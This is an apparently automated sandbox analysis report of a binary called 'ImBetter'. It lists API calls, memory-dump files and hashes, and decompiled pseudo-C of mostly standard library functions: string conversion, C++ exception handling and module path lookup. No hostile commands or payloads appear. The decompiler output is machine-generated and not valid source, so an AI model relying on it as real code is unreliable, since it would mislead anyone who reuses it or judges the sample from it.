GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E6B44C55), ref: 00007FF7E6B45091
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E6B44C55), ref: 00007FF7E6B45134
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E6B44C55), ref: 00007FF7E6B451D5
MultiByteToWideChar.KERNEL32 ref: 00007FF7E6B4521F
MultiByteToWideChar.KERNEL32 ref: 00007FF7E6B452B6
CompareStringEx.KERNEL32 ref: 00007FF7E6B452E9

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: ByteCharMultiWide$CompareInfoString
String ID:
API String ID: 2984826149-0
Opcode ID: 0303b9081658000404b62320fc29693a365d5f7cdfd22189f9bd38909e22bd29
Instruction ID: 562b63168608c3ab19620a8bca7b7c8d05dcb6d941d75ae3bbf38978eaedd3f3
Opcode Fuzzy Hash: 0303b9081658000404b62320fc29693a365d5f7cdfd22189f9bd38909e22bd29
Instruction Fuzzy Hash: CDA19123B28A9246EB30AF148C5037BB791AF44B94FE44237DA5D077C6EE7CE4448362

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B44CF0 Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF7E6B44D62
MultiByteToWideChar.KERNEL32 ref: 00007FF7E6B44E0A
LCMapStringEx.KERNEL32 ref: 00007FF7E6B44E41
LCMapStringEx.KERNEL32 ref: 00007FF7E6B44E9A
LCMapStringEx.KERNEL32 ref: 00007FF7E6B44F47
WideCharToMultiByte.KERNEL32 ref: 00007FF7E6B44F89

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: 047b2ff9d097aecdd4b37ac71024431f3b915ad3974798f198abf2f34683bf61
Instruction ID: 1dd4a421971be520210112a13c82c1713be9b63d430e9f7744ed7786eaa47707
Opcode Fuzzy Hash: 047b2ff9d097aecdd4b37ac71024431f3b915ad3974798f198abf2f34683bf61
Instruction Fuzzy Hash: 9681923262974146EB209F11984077BB3E6FF847A8FA40236EA5D1BBD8EF7CD4158711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B01D40 Relevance: 9.2, APIs: 6, Instructions: 197
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00007FF77FF7E6B01D40(long long __rbx, long long __rcx, long long __rdi, long long __rsi) {
				void* __rbp;
				void* _t84;
				signed int _t87;
				void* _t88;
				signed int _t89;
				void* _t90;
				void* _t92;
				signed long long _t118;
				signed long long _t119;
				signed long long _t124;
				void* _t125;
				signed short* _t150;
				signed long long _t171;
				signed long long _t174;
				intOrPtr _t177;
				signed long long _t180;
				long long _t184;
				long long _t186;
				WCHAR* _t188;
				void* _t189;
				void* _t191;
				void* _t201;
				void* _t205;

				_t186 = __rsi;
				 *((long long*)(_t191 + 0x10)) = __rbx;
				 *((long long*)(_t191 + 0x18)) = __rsi;
				 *((long long*)(_t191 + 0x20)) = __rdi;
				_t189 = _t191 - 0x57;
				_t118 =  *0xe6b6bbc0; // 0x7a937e77a598
				_t119 = _t118 ^ _t191 - 0x000000c0;
				 *(_t189 + 0x4f) = _t119;
				_t184 = __rcx;
				 *((long long*)(_t189 - 0x49)) = __rcx;
				E00007FF77FF7E6B3CAF8(_t88, __rcx);
				 *0xe6b6e068 = _t119;
				GetModuleHandleW(_t188);
				r8d = 0x104;
				GetModuleFileNameW(??, ??, ??);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp-0x11], xmm0");
				 *(_t189 - 1) = __rsi;
				 *((long long*)(_t189 + 7)) = __rsi;
				if ( *((intOrPtr*)( *0xe6b6e068 + 0xfffffffffffffffe)) != 0) goto 0xe6b01dc0;
				E00007FF77FF7E6B02EB0(_t189 - 0x11,  *0xe6b6e068, __rcx, 0, _t205);
				if ( *((long long*)(_t189 + 7)) - 8 < 0) goto 0xe6b01ded;
				goto 0xe6b01df5;
				E00007FF77FF7E6B02D30(_t119, _t189 + 0x2f, _t189 - 0x11, __rsi, _t189, _t189 - 0x11 +  *(_t189 - 1) * 2);
				_t122 =  >=  ?  *((void*)(_t189 + 0x2f)) : _t189 + 0x2f;
				 *((long long*)(_t189 - 0x49)) =  >=  ?  *((void*)(_t189 + 0x2f)) : _t189 + 0x2f;
				 *((long long*)(_t189 - 0x41)) =  *((intOrPtr*)(_t189 + 0x3f));
				asm("movaps xmm0, [ebp-0x49]");
				asm("movdqa [ebp-0x49], xmm0");
				E00007FF77FF7E6B03900(_t84, 0,  *((intOrPtr*)(_t189 + 0x3f)), _t119, _t189 + 0xf, _t189 - 0x49, _t189);
				_t149 =  >=  ?  *((void*)(_t189 + 0xf)) : _t189 + 0xf;
				_t124 =  *((intOrPtr*)(_t189 + 0x1f));
				_t201 = ( >=  ?  *((void*)(_t189 + 0xf)) : _t189 + 0xf) + _t124 * 2;
				E00007FF77FF7E6B01B10( >=  ?  *((void*)(_t189 + 0xf)) : _t189 + 0xf, _t201);
				if (_t124 == _t201) goto 0xe6b01e8e;
				_t87 =  *_t124 & 0x0000ffff;
				if (_t87 == 0x5c) goto 0xe6b01e65;
				if (_t87 != 0x2f) goto 0xe6b01e6e;
				_t125 = _t124 + 2;
				if (_t125 != _t201) goto 0xe6b01e56;
				if (_t125 == _t201) goto 0xe6b01e8e;
				_t150 = _t201 - 2;
				_t89 =  *_t150 & 0x0000ffff;
				if (_t89 == 0x5c) goto 0xe6b01e8e;
				if (_t89 == 0x2f) goto 0xe6b01e8e;
				if (_t125 != _t150) goto 0xe6b01e73;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp-0x31], xmm0");
				 *((long long*)(_t189 - 0x21)) = _t186;
				 *((long long*)(_t189 - 0x19)) = _t186;
				E00007FF77FF7E6B02EB0(_t189 - 0x31, _t150, _t184, _t201 - _t150 >> 1, _t205);
				E00007FF77FF7E6B02AF0(_t84, _t87, _t90, _t92, _t119, _t189 - 0x31, _t184, _t189);
				_t171 =  *((intOrPtr*)(_t189 - 0x19));
				if (_t171 - 8 < 0) goto 0xe6b01f01;
				if (2 + _t171 * 2 - 0x1000 < 0) goto 0xe6b01efb;
				if ( *((intOrPtr*)(_t189 - 0x31)) -  *((intOrPtr*)( *((intOrPtr*)(_t189 - 0x31)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b02006;
				E00007FF77FF7E6B3CAF0(_t89,  *((intOrPtr*)( *((intOrPtr*)(_t189 - 0x31)) - 8)));
				_t174 =  *((intOrPtr*)(_t189 + 0x27));
				if (_t174 - 8 < 0) goto 0xe6b01f41;
				if (2 + _t174 * 2 - 0x1000 < 0) goto 0xe6b01f3c;
				if ( *((intOrPtr*)(_t189 + 0xf)) -  *((intOrPtr*)( *((intOrPtr*)(_t189 + 0xf)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b0200c;
				E00007FF77FF7E6B3CAF0(_t89,  *((intOrPtr*)( *((intOrPtr*)(_t189 + 0xf)) - 8)));
				 *((long long*)(_t189 + 0x1f)) = _t186;
				 *((long long*)(_t189 + 0x27)) = 7;
				 *((short*)(_t189 + 0xf)) = 0;
				_t177 =  *((intOrPtr*)(_t189 + 0x47));
				if (_t177 - 0x10 < 0) goto 0xe6b01f8c;
				if (_t177 + 1 - 0x1000 < 0) goto 0xe6b01f87;
				if ( *((intOrPtr*)(_t189 + 0x2f)) -  *((intOrPtr*)( *((intOrPtr*)(_t189 + 0x2f)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b02012;
				E00007FF77FF7E6B3CAF0(_t89,  *((intOrPtr*)( *((intOrPtr*)(_t189 + 0x2f)) - 8)));
				 *((long long*)(_t189 + 0x3f)) = _t186;
				 *((long long*)(_t189 + 0x47)) = 0xf;
				 *((char*)(_t189 + 0x2f)) = 0;
				_t180 =  *((intOrPtr*)(_t189 + 7));
				if (_t180 - 8 < 0) goto 0xe6b01fd8;
				if (2 + _t180 * 2 - 0x1000 < 0) goto 0xe6b01fd3;
				if ( *((intOrPtr*)(_t189 - 0x11)) -  *((intOrPtr*)( *((intOrPtr*)(_t189 - 0x11)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b02000;
				return E00007FF77FF7E6B3C7F0(E00007FF77FF7E6B3CAF0(_t89,  *((intOrPtr*)( *((intOrPtr*)(_t189 - 0x11)) - 8))), _t87,  *(_t189 + 0x4f) ^ _t191 - 0x000000c0);
			}

0x7ff7e6b01d40
0x7ff7e6b01d40
0x7ff7e6b01d45
0x7ff7e6b01d4a
0x7ff7e6b01d50
0x7ff7e6b01d5c
0x7ff7e6b01d63
0x7ff7e6b01d66
0x7ff7e6b01d6a
0x7ff7e6b01d6d
0x7ff7e6b01d78
0x7ff7e6b01d80
0x7ff7e6b01d89
0x7ff7e6b01d8f
0x7ff7e6b01d9b
0x7ff7e6b01da8
0x7ff7e6b01dab
0x7ff7e6b01daf
0x7ff7e6b01db3
0x7ff7e6b01dc8
0x7ff7e6b01dce
0x7ff7e6b01de1
0x7ff7e6b01deb
0x7ff7e6b01df9
0x7ff7e6b01e08
0x7ff7e6b01e0d
0x7ff7e6b01e15
0x7ff7e6b01e19
0x7ff7e6b01e1d
0x7ff7e6b01e2a
0x7ff7e6b01e39
0x7ff7e6b01e3e
0x7ff7e6b01e42
0x7ff7e6b01e4c
0x7ff7e6b01e54
0x7ff7e6b01e56
0x7ff7e6b01e5d
0x7ff7e6b01e63
0x7ff7e6b01e65
0x7ff7e6b01e6c
0x7ff7e6b01e71
0x7ff7e6b01e73
0x7ff7e6b01e77
0x7ff7e6b01e7e
0x7ff7e6b01e84
0x7ff7e6b01e8c
0x7ff7e6b01e94
0x7ff7e6b01e97
0x7ff7e6b01e9b
0x7ff7e6b01e9f
0x7ff7e6b01ead
0x7ff7e6b01eba
0x7ff7e6b01ec0
0x7ff7e6b01ec8
0x7ff7e6b01ee0
0x7ff7e6b01ef5
0x7ff7e6b01efb
0x7ff7e6b01f01
0x7ff7e6b01f09
0x7ff7e6b01f21
0x7ff7e6b01f36
0x7ff7e6b01f3c
0x7ff7e6b01f41
0x7ff7e6b01f45
0x7ff7e6b01f4d
0x7ff7e6b01f51
0x7ff7e6b01f59
0x7ff7e6b01f6c
0x7ff7e6b01f81
0x7ff7e6b01f87
0x7ff7e6b01f8c
0x7ff7e6b01f90
0x7ff7e6b01f98
0x7ff7e6b01f9c
0x7ff7e6b01fa4
0x7ff7e6b01fbc
0x7ff7e6b01fd1
0x7ff7e6b01fff

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7E6B01D89
GetModuleFileNameW.KERNEL32 ref: 00007FF7E6B01D9B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B02000
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B02006
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B0200C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B02012

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Module$FileHandleName
String ID:
API String ID: 2566878671-0
Opcode ID: a68f2a4560db42a923bb788e1efd3c8bece569e87771bad5f6755fa57697f2b6
Instruction ID: 8858179245a3354d408aa6cc7851357af149cbcef41deb42d1e6fca04a858e23
Opcode Fuzzy Hash: a68f2a4560db42a923bb788e1efd3c8bece569e87771bad5f6755fa57697f2b6
Instruction Fuzzy Hash: DF81C362B29A41C4FB14FBA4C8987BE7362EB44798FA04232EA1C13BD9DF78D445C311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B40A40 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 317
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 72%

			E00007FF77FF7E6B40A40(void* __ecx, intOrPtr* __rcx, long long __rdx, void* __r8, void* __r9) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t157;
				intOrPtr _t158;
				intOrPtr _t160;
				void* _t179;
				intOrPtr _t195;
				intOrPtr _t200;
				void* _t201;
				signed long long _t239;
				signed long long _t240;
				signed char _t241;
				intOrPtr* _t243;
				long long _t245;
				long long _t253;
				intOrPtr* _t255;
				signed char* _t257;
				intOrPtr* _t269;
				void* _t290;
				void* _t291;
				void* _t292;
				void* _t293;
				signed long long _t294;
				long long _t303;
				long long _t304;
				intOrPtr* _t305;
				long long _t313;
				signed char* _t316;
				intOrPtr _t321;

				_t292 = _t293 - 0x88;
				_t294 = _t293 - 0x188;
				_t239 =  *0xe6b6bbc0; // 0x7a937e77a598
				_t240 = _t239 ^ _t294;
				 *(_t292 + 0x70) = _t240;
				_t316 =  *((intOrPtr*)(_t292 + 0xf0));
				 *((long long*)(_t294 + 0x78)) = __rdx;
				_t257 = _t316;
				 *((long long*)(_t292 - 0x60)) =  *((intOrPtr*)(_t292 + 0x108));
				_t291 = __r9;
				 *((char*)(_t294 + 0x60)) = 0;
				E00007FF77FF7E6B3FCD8(_t257, __r9, __r9);
				if ( *((intOrPtr*)(__r9 + 0x48)) == 0) goto 0xe6b40abc;
				E00007FF77FF7E6B3FA9C(_t240);
				if ( *((intOrPtr*)(_t240 + 0x78)) != 0xfffffffe) goto 0xe6b40f35;
				goto 0xe6b40adb;
				E00007FF77FF7E6B3FA9C(_t240);
				if ( *((intOrPtr*)(_t240 + 0x78)) == 0xfffffffe) goto 0xe6b40adb;
				E00007FF77FF7E6B3FA9C(_t240);
				_t200 =  *((intOrPtr*)(_t240 + 0x78));
				E00007FF77FF7E6B3FA9C(_t240);
				 *((intOrPtr*)(_t240 + 0x78)) = 0xfffffffe;
				if (_t200 - 0xffffffff < 0) goto 0xe6b40f35;
				if (_t316[8] == 0) goto 0xe6b40b1b;
				_t241 = _t257[0x7ff7e6b57da0];
				goto 0xe6b40b1d;
				if (_t200 >= 0) goto 0xe6b40f35;
				if ( *__rcx != 0xe06d7363) goto 0xe6b40bf5;
				if ( *((intOrPtr*)(__rcx + 0x18)) != 4) goto 0xe6b40bf5;
				if ( *((intOrPtr*)(__rcx + 0x20)) - 0x19930520 - 2 > 0) goto 0xe6b40bf5;
				if ( *((long long*)(__rcx + 0x30)) != 0) goto 0xe6b40bf5;
				E00007FF77FF7E6B3FA9C(_t241);
				if ( *((long long*)(_t241 + 0x20)) == 0) goto 0xe6b40ed3;
				E00007FF77FF7E6B3FA9C(_t241);
				_t255 =  *((intOrPtr*)(_t241 + 0x20));
				E00007FF77FF7E6B3FA9C(_t241);
				 *((char*)(_t294 + 0x60)) = 1;
				E00007FF77FF7E6B3E5D4(_t241,  *((intOrPtr*)(_t255 + 0x38)));
				if ( *_t255 != 0xe06d7363) goto 0xe6b40bad;
				if ( *((intOrPtr*)(_t255 + 0x18)) != 4) goto 0xe6b40bad;
				if ( *((intOrPtr*)(_t255 + 0x20)) - 0x19930520 - 2 > 0) goto 0xe6b40bad;
				if ( *((long long*)(_t255 + 0x30)) == 0) goto 0xe6b40f35;
				E00007FF77FF7E6B3FA9C(_t241);
				if ( *(_t241 + 0x38) == 0) goto 0xe6b40bf5;
				E00007FF77FF7E6B3FA9C(_t241);
				E00007FF77FF7E6B3FA9C(_t241);
				 *(_t241 + 0x38) =  *(_t241 + 0x38) & 0x00000000;
				if (E00007FF77FF7E6B42954(_t241, _t255, _t255,  *(_t241 + 0x38), __r9) != 0) goto 0xe6b40bf0;
				if (E00007FF77FF7E6B42A44(_t241, _t255,  *(_t241 + 0x38), __r9, _t292) == 0) goto 0xe6b40f17;
				goto 0xe6b40ef3;
				E00007FF77FF7E6B41C78(_t292 - 0x10, _t316,  *((intOrPtr*)(__r9 + 8)));
				if ( *_t255 != 0xe06d7363) goto 0xe6b40e8b;
				if ( *((intOrPtr*)(_t255 + 0x18)) != 4) goto 0xe6b40e8b;
				if ( *((intOrPtr*)(_t255 + 0x20)) - 0x19930520 - 2 > 0) goto 0xe6b40e8b;
				if ( *((intOrPtr*)(_t292 - 0x10)) <= 0) goto 0xe6b40e70;
				 *((intOrPtr*)(_t294 + 0x28)) =  *((intOrPtr*)(_t292 + 0x100));
				 *(_t294 + 0x20) = _t316;
				r8d = _t200;
				_t157 = E00007FF77FF7E6B3DFB0(_t255, _t292 - 0x58, _t292 - 0x10, _t290, _t291, _t292);
				asm("movups xmm0, [ebp-0x58]");
				asm("movdqu [ebp-0x78], xmm0");
				asm("psrldq xmm0, 0x8");
				asm("movd eax, xmm0");
				if (_t157 -  *((intOrPtr*)(_t292 - 0x40)) >= 0) goto 0xe6b40e70;
				_t158 =  *((intOrPtr*)(_t292 - 0x70));
				 *((long long*)(_t292 - 0x80)) =  *((intOrPtr*)(_t292 - 0x58));
				 *((intOrPtr*)(_t294 + 0x68)) = _t158;
				asm("inc ecx");
				asm("dec ax");
				asm("movups [ebp-0x78], xmm0");
				if (_t158 - _t200 > 0) goto 0xe6b40dcb;
				if (_t200 - _t158 > 0) goto 0xe6b40dcb;
				_t243 =  *((intOrPtr*)(_t291 + 0x10));
				r9d =  *_t243;
				E00007FF77FF7E6B41BFC(_t243, _t292 + 0x20, _t292 - 0x78,  *((intOrPtr*)(_t291 + 8)));
				_t160 =  *((intOrPtr*)(_t292 + 0x20));
				r12d = 0;
				 *((intOrPtr*)(_t294 + 0x64)) = r12d;
				 *((intOrPtr*)(_t294 + 0x6c)) = _t160;
				if (_t160 == 0) goto 0xe6b40dcb;
				asm("movups xmm0, [ebp+0x38]");
				asm("movups xmm1, [ebp+0x48]");
				asm("movups [ebp-0x38], xmm0");
				asm("movsd xmm0, [ebp+0x58]");
				asm("movsd [ebp-0x18], xmm0");
				asm("movups [ebp-0x28], xmm1");
				E00007FF77FF7E6B3E5A8(_t243);
				_t245 = _t243 + 4 +  *((intOrPtr*)( *((intOrPtr*)(_t255 + 0x30)) + 0xc));
				 *((long long*)(_t294 + 0x70)) = _t245;
				E00007FF77FF7E6B3E5A8(_t245);
				r15d =  *((intOrPtr*)(_t245 +  *((intOrPtr*)( *((intOrPtr*)(_t255 + 0x30)) + 0xc))));
				if (r15d <= 0) goto 0xe6b40d56;
				E00007FF77FF7E6B3E5A8(_t245);
				_t313 = _t245 +  *((intOrPtr*)( *((intOrPtr*)(_t294 + 0x70))));
				if (E00007FF77FF7E6B41588(_t201, _t255, _t292 - 0x38, _t313, _t290, _t291,  *((intOrPtr*)(_t255 + 0x30))) != 0) goto 0xe6b40d73;
				 *((long long*)(_t294 + 0x70)) =  *((long long*)(_t294 + 0x70)) + 4;
				r15d = r15d - 1;
				if (r15d > 0) goto 0xe6b40d1c;
				r12d =  *((intOrPtr*)(_t294 + 0x64));
				E00007FF77FF7E6B421E8( *((intOrPtr*)(_t294 + 0x70)), _t292 + 0x20);
				r12d = r12d + 1;
				 *((intOrPtr*)(_t294 + 0x64)) = r12d;
				if (r12d ==  *((intOrPtr*)(_t294 + 0x6c))) goto 0xe6b40dc7;
				goto 0xe6b40cd3;
				 *((char*)(_t294 + 0x58)) =  *((intOrPtr*)(_t292 + 0xf8));
				_t269 = _t255;
				 *((char*)(_t294 + 0x50)) =  *((intOrPtr*)(_t294 + 0x60));
				 *((long long*)(_t294 + 0x48)) =  *((intOrPtr*)(_t292 - 0x60));
				 *((intOrPtr*)(_t294 + 0x40)) =  *((intOrPtr*)(_t292 + 0x100));
				 *((long long*)(_t294 + 0x38)) = _t292 - 0x78;
				 *((long long*)(_t294 + 0x30)) = _t313;
				 *((long long*)(_t294 + 0x28)) = _t292 - 0x38;
				 *(_t294 + 0x20) = _t316;
				E00007FF77FF7E6B40494(_t257[0x7ff7e6b57db0], _t255, _t269,  *((intOrPtr*)(_t294 + 0x78)),  *((intOrPtr*)(_t241 + 0x28)), _t291);
				_t321 =  *((intOrPtr*)(_t292 - 0x80));
				_t303 =  *((intOrPtr*)(_t321 + 8)) -  *((char*)(_t269 + 0x7ff7e6b57da0));
				 *((long long*)(_t321 + 8)) = _t303;
				 *(_t321 + 0x18) =  *(_t303 - 4) >>  *(_t269 + 0x7ff7e6b57db0);
				_t304 = _t303 -  *((char*)(_t269 + 0x7ff7e6b57da0));
				 *((long long*)(_t321 + 8)) = _t304;
				 *(_t321 + 0x1c) =  *(_t304 - 4) >>  *(_t269 + 0x7ff7e6b57db0);
				_t305 = _t304 -  *((char*)(_t269 + 0x7ff7e6b57da0));
				 *(_t321 + 0x20) =  *(_t305 - 4) >>  *(_t269 + 0x7ff7e6b57db0);
				_t195 =  *((intOrPtr*)(_t294 + 0x68)) + 1;
				 *((long long*)(_t321 + 8)) = _t305;
				_t116 = _t305 + 4; // 0x4
				_t253 = _t116;
				 *((long long*)(_t321 + 8)) = _t253;
				 *((intOrPtr*)(_t321 + 0x24)) =  *_t305;
				 *((intOrPtr*)(_t294 + 0x68)) = _t195;
				if (_t195 -  *((intOrPtr*)(_t292 - 0x40)) < 0) goto 0xe6b40c82;
				if (( *_t316 & 0x00000040) == 0) goto 0xe6b40ec7;
				if (E00007FF77FF7E6B3DCE0(_t316) == 0) goto 0xe6b40f1d;
				goto 0xe6b40ec7;
				if ( *((intOrPtr*)(_t292 - 0x10)) <= 0) goto 0xe6b40ec7;
				if ( *((char*)(_t292 + 0xf8)) != 0) goto 0xe6b40f35;
				 *((long long*)(_t294 + 0x38)) = _t313;
				 *((intOrPtr*)(_t294 + 0x30)) =  *((intOrPtr*)(_t292 + 0x100));
				 *((intOrPtr*)(_t294 + 0x28)) = _t200;
				 *(_t294 + 0x20) = _t316;
				E00007FF77FF7E6B41158( *_t305, _t255, _t321,  *((intOrPtr*)(_t241 + 0x28)), _t291);
				_t179 = E00007FF77FF7E6B3FA9C(_t253);
				if ( *((long long*)(_t253 + 0x38)) != 0) goto 0xe6b40f35;
				return E00007FF77FF7E6B3C7F0(_t179, _t195,  *(_t292 + 0x70) ^ _t294);
			}

0x7ff7e6b40a4d
0x7ff7e6b40a55
0x7ff7e6b40a5c
0x7ff7e6b40a63
0x7ff7e6b40a66
0x7ff7e6b40a6a
0x7ff7e6b40a7e
0x7ff7e6b40a83
0x7ff7e6b40a89
0x7ff7e6b40a8d
0x7ff7e6b40a90
0x7ff7e6b40a98
0x7ff7e6b40aa3
0x7ff7e6b40aa5
0x7ff7e6b40aae
0x7ff7e6b40aba
0x7ff7e6b40abc
0x7ff7e6b40ac5
0x7ff7e6b40ac7
0x7ff7e6b40acc
0x7ff7e6b40acf
0x7ff7e6b40ad4
0x7ff7e6b40ade
0x7ff7e6b40af0
0x7ff7e6b40b00
0x7ff7e6b40b19
0x7ff7e6b40b1f
0x7ff7e6b40b2b
0x7ff7e6b40b35
0x7ff7e6b40b46
0x7ff7e6b40b51
0x7ff7e6b40b57
0x7ff7e6b40b61
0x7ff7e6b40b67
0x7ff7e6b40b6c
0x7ff7e6b40b70
0x7ff7e6b40b79
0x7ff7e6b40b82
0x7ff7e6b40b8d
0x7ff7e6b40b93
0x7ff7e6b40ba0
0x7ff7e6b40ba7
0x7ff7e6b40bad
0x7ff7e6b40bb7
0x7ff7e6b40bb9
0x7ff7e6b40bc2
0x7ff7e6b40bcd
0x7ff7e6b40bd9
0x7ff7e6b40be5
0x7ff7e6b40beb
0x7ff7e6b40c00
0x7ff7e6b40c0b
0x7ff7e6b40c15
0x7ff7e6b40c26
0x7ff7e6b40c30
0x7ff7e6b40c40
0x7ff7e6b40c4b
0x7ff7e6b40c50
0x7ff7e6b40c53
0x7ff7e6b40c58
0x7ff7e6b40c5c
0x7ff7e6b40c61
0x7ff7e6b40c66
0x7ff7e6b40c6d
0x7ff7e6b40c77
0x7ff7e6b40c7a
0x7ff7e6b40c7e
0x7ff7e6b40c82
0x7ff7e6b40c87
0x7ff7e6b40c8c
0x7ff7e6b40c92
0x7ff7e6b40c9e
0x7ff7e6b40ca4
0x7ff7e6b40cb4
0x7ff7e6b40cb7
0x7ff7e6b40cbc
0x7ff7e6b40cbf
0x7ff7e6b40cc2
0x7ff7e6b40cc7
0x7ff7e6b40ccd
0x7ff7e6b40cd3
0x7ff7e6b40cd7
0x7ff7e6b40cdb
0x7ff7e6b40cdf
0x7ff7e6b40ce4
0x7ff7e6b40ce9
0x7ff7e6b40ced
0x7ff7e6b40cfe
0x7ff7e6b40d01
0x7ff7e6b40d06
0x7ff7e6b40d13
0x7ff7e6b40d1a
0x7ff7e6b40d1c
0x7ff7e6b40d30
0x7ff7e6b40d41
0x7ff7e6b40d43
0x7ff7e6b40d49
0x7ff7e6b40d4f
0x7ff7e6b40d51
0x7ff7e6b40d5a
0x7ff7e6b40d5f
0x7ff7e6b40d62
0x7ff7e6b40d6c
0x7ff7e6b40d6e
0x7ff7e6b40d84
0x7ff7e6b40d88
0x7ff7e6b40d8f
0x7ff7e6b40d97
0x7ff7e6b40da2
0x7ff7e6b40daa
0x7ff7e6b40db3
0x7ff7e6b40db8
0x7ff7e6b40dbd
0x7ff7e6b40dc2
0x7ff7e6b40dc7
0x7ff7e6b40ded
0x7ff7e6b40df6
0x7ff7e6b40dfa
0x7ff7e6b40e15
0x7ff7e6b40e1e
0x7ff7e6b40e22
0x7ff7e6b40e3d
0x7ff7e6b40e4a
0x7ff7e6b40e4e
0x7ff7e6b40e50
0x7ff7e6b40e54
0x7ff7e6b40e54
0x7ff7e6b40e5b
0x7ff7e6b40e5f
0x7ff7e6b40e63
0x7ff7e6b40e6a
0x7ff7e6b40e74
0x7ff7e6b40e83
0x7ff7e6b40e89
0x7ff7e6b40e8f
0x7ff7e6b40e98
0x7ff7e6b40ea7
0x7ff7e6b40eaf
0x7ff7e6b40eb6
0x7ff7e6b40ebd
0x7ff7e6b40ec2
0x7ff7e6b40ec7
0x7ff7e6b40ed1
0x7ff7e6b40ef2

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF7E6B40BDE
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7E6B40F01

Strings

csm, xrefs: 00007FF7E6B40B25
csm, xrefs: 00007FF7E6B40C05
csm, xrefs: 00007FF7E6B40B87

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 3523768491-393685449
Opcode ID: a8a2fdaf7271fbdb8a542591624557e3bade6c4205ed5f70542a372062597adc
Instruction ID: b6e43e729d58e282d2e47d61d547d7b08e88c1923f205f75b227c5fac67338ce
Opcode Fuzzy Hash: a8a2fdaf7271fbdb8a542591624557e3bade6c4205ed5f70542a372062597adc
Instruction Fuzzy Hash: F5E1A432E286828AE710AF24D8803BEB7B4FB45748F654137DE8D47A56EF38E485C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B2A3FC Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF7E6B29CED,?,?,?,?,00007FF7E6B29D38), ref: 00007FF7E6B2A40B
